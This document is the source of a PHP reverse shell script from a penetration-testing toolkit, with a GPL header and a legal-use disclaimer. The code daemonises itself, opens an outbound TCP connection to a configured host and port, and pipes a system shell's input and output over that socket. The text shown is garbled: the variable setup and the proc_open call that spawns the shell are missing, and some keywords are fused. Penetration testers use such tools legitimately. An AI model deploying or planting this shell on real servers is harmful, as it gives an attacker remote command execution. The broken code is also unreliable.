<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
// // Daemonise ourself if possible to avoid zombies later //
// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
// Change to a safe directory chdir("/");
// Remove any umask we inherited umask(0);
// // Do the reverse shell... //
// Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }
// Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); }
// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }
// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) functionprintit ($string) { if (!$daemon) { print"$string\n"; } }
